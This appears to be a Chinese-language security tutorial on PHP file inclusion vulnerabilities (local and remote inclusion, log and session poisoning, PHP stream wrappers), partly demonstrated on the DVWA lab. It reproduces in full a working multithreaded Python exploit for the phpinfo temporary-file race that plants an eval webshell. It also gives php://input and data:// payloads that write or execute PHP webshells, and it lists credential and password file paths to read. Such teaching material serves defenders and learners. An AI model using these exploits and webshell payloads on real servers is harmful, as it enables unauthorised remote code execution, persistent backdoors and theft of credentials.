1.0.0 简介
1.0.1 原理
当网站由于某些功能要将一个文件包含在另一个文件中时,且用户可以选择包含的文件,并写入恶意内容在被包含文件中就会出现文件包含漏洞,实质上也是恶意代码的执行
在PHP中常见的文件包含函数有
require() : 找不到被包含的文件会产生致命错误,并停止脚本运行
include() : 找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似 : 唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似 : 唯一的区别是如果该文件的代码已经被包含,则不会再次包含
1.1.0 LFI (本地文件包含漏洞)
1.1.1 简介
当网页能够打开本地文件并包含,那么就称为LFI。例如
<?php
$file=$_GET['filename'];
include($file);
?>
这将打开所传参数的路径的文件并包含在页面中,那么我们就可以利用它查看一些敏感信息
1.1.2 前置知识
(1)使用绝对路径
一般当知道所需文件的准确路径时使用,例如对于路径相对固定的系统关键文件
(2)使用相对路径
当我们只知道文件的大致信息时,常用相对路径,例如一些特定名字的文件,在windows和Linux中都可以使用 ./ 表示当前路径,使用 ../表示上一级路径
(3)一些常见的敏感目录信息路径:
Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
1.1.3 用法
(1)与文件上传使用
找到上传点,再通过可以包含文件成功解析写入的木马,我们使用DVWA靶场为例将Security Level设置为低,找到上传点

这里就直接使用 phpinfo(); 测试了,上传木马文件后使用该页面包含

成功

(2)包含Apache日志文件
当网站使用Apache作为中间件而且没有上传点时,我们可以在Apache的日志文件中生成木马,再包含Apache的日志文件也可以实现一样的效果
使用条件:
- 对Apache配置文件可读
- 知道日志文件路径
当我们访问Apache服务器时,访问记录会被记录在access.log中,错误会被存储到error.log 中,当我们访问不存在的页面时,也同样会被记录,例如

日志中将会记录

然后再包含该日志文件即可

(3)包含SESSION文件
先找到保存 SESSION 的文件,然后使用payload在文件中写入信息到 SESSION 中,再包含 SEESION 文件即可
利用条件:
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
利用 phpinfo(); 查看SEESION文件路径

session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
(4)包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
利用过程
(1)发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
(2)因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
(3)php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
(4)所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
(5)此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
(6)利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
利用代码获取 PHP Varibles从而得到临时路径
import requests
files = {
'file': ("aa.txt","ssss")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)
得到输出
Linux

Windows

但是在执行完这个任务后临时文件就删除了,知道文件名也不起用了,所以我们就要用到多线程操作,脚本取自网络
#!/usr/bin/python
#python version 2.7
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
# PAYLOAD = """%sr
# <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/Qftm.php"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
1.2.0 RFI(远程文件包含)
如果PHP的配置选项allow_url_include
、allow_url_fopen
状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI),例如
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>
那么我们通过GET传递path参数包含我们本地的phpinfo文件

1.3.0 PHP伪协议
常见的PHP伪协议:
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流下面只例举常用的几种
1.3.1 file://协议
file:// 协议可以用于访问本地文件而且不受allow_url_fopen和allow_url_include两个配置的影响

用法:
file:// [文件的绝对路径和文件名]

1.3.2 php://协议
php:// 访问各个输入/输出流(I/O streams),不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
通常使用php://filter用于读取base64加密源码,php://input用于执行php代码。
php://filter用法:
php://filter/convert.base64-encode/resource=文件路径
通过base64加密的代码就不会再被执行,就可以看到完整源代码

php://input用法:
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如在使用 时,加上POST数据
<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>
那么将会向靶机写入一个名为shell.php的一句话木马
1.3.3 zip://,bzip2://, zlib://协议
zip://协议可以用来读取压缩包内的子文件,并且不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等
zip://用法:
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
但是由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,例如
http://127.0.0.1/include.php?file=zip://D:\1.zip%23phpinfo.txt

bzip2://用法:
与zip://协议相似,bzip2://协议也支持任意后缀名
compress.bzip2://file.bz2
例如:
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
zlib://用法
也与zip://用法相似,支持任意后缀名
compress.zlib://file.gz
例如:
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
1.3.4 data://协议
同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
使用条件:
allow_url_fopen :on
allow_url_include:on
用法:
data://text/plain,<?php phpinfo();?>
例如:
http://127.0.0.1/include.php?file=data:text/plain,<?php phpinfo()?>

总结
